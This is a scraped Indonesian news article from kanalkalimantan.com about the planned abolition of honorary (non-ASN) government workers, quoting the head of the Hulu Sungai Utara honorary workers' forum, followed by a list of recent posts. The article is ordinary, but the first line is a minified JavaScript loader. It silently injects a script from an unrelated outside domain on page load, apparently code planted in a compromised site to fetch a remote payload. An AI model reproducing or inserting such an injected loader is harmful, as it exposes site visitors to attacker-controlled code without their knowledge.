(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Soal Penghapusan Honorer di 2023, Ini Kata Ketua Forum Honorer HSU


KANALKALIMANTAN.COM, AMUNTAI – Respon muncul dari tenaga honorer menyusul surat edaran Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (MenPAN-RB) RI tentang penghapusan honorer atau non-ASN di lingkungan pemerintahan daerah.

Ketua Forum Honorer se Kabupaten Hulu Sungai Utara (HSU), Ahmad Ismail, berharap pemerintah daerah dapat mengkomodir Analisis Jabatan (Anjab) dan Analisis Beban Kerja (ABK) tenaga honorer yang selama ini telah ada di instansi pemerintahan, sehingga berpeluang menjadi Calon Pegawai Negeri Sipil (CPNS) atau Pegawai Pemerintah daerah Perjanjian Kerja (PPPK).

Menurut Ahmad Ismail, dengan dikeluarkannya surat edaran penghapusan honorer tersebut, membuat pemerintah daerah nantinya lebih fokus terhadap rekrutmen CPNS maupun PPPK.

Salah satunya dengan cara melakukan pemetaan pegawai non ASN di lingkungan instansi masing-masing dan bagi yang memenuhi syarat dapat dikutsertakan/diberikan kesempatan mengikuti seleksi Calon PNS maupun PPPK.

 

Baca juga : Tak Kuat Menahan Kontraksi, Seorang Ibu Melahirkan di Pangkalan Ojek

“Jadi surat Kemenpan RB itu isinya malah menguntungkan bagi honorer, karena di 2023 pemerintah daerah harus menyelesaikan honorer menjadi PPPK atau CPNS,” ujarnya.

Tenaga teknis Diskominfosandi HSU ini menambahkan, selama ini pihaknya berupaya melakukan berbagai langkah agar tenaga honorer yang telah ada dapat dipertahankan menjadi CPNS atau PPPK sesuai syarat dan ketentuannya.

“Upaya yang sudah kita seperti audensi dengan pimpinan daerah termasuk dengan Plt Bupati, Kepala BPSDM, Kepada Bappeda, Kepala Keuangan, terus Kepala Kesbangpol. Mudah-mudahan apa yang diharapkan para honorer dapat terakomodi,” kata Ismail ditemui Kanalkalimantan.com, Jumat (3/6/2022).

Lebih lanjut, Ismail berharap rekan-rekan honorer saat ini tetap fokus bekerja dan semangat, jika persyaratan dan ketentuan telah terpenuhi maka peluang menjadi CPNS atau PPPK akan terbuka luas.

 

Baca juga : Debitor Pasar Bauntung Banjarbaru Lakukan Monitoring, Dibangun dari Pembiayaan Skema RIDF

“Jadi teman-teman saat ini kita perlu fokus kedinasan, tetap bekerja dan tetap mengawasi anjab dinas masing-masing agar nantinya dalam pengusulan ke BKD, ke Ortal dan organisasi terakomudir. Jangan sampai tidak ada Anjab dan ABK atau dasar didalam pengusulannya untuk itu,” tukasnya.

Sekadar informasi, melalui Anjab dan ABK sendiri maka akan diketahui mengenai uraian jabatan, beban kerja per jabatan, peta jabatan, dan bobot jabatan. Hasil dari Anjab dan ABK dapat digunakan untuk menganalisis kebutuhan pegawai, penetapan kompetensi dan syarat dari suatu jabatan, serta sebagai indikator kinerja pegawai di sebuah instansi atau perusahaan.(kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Dialog Pekerja Pengusaha di Balai Kota, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari… Read More

8 menit ago

DPMD HSU Apresiasi Kader Desa Pemenang Lomba Posyandu 2024

KANALKALIMANTAN.COM, AMUNTAI - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) memberikan… Read More

38 menit ago

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

59 menit ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

2 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

2 jam ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

This website uses cookies.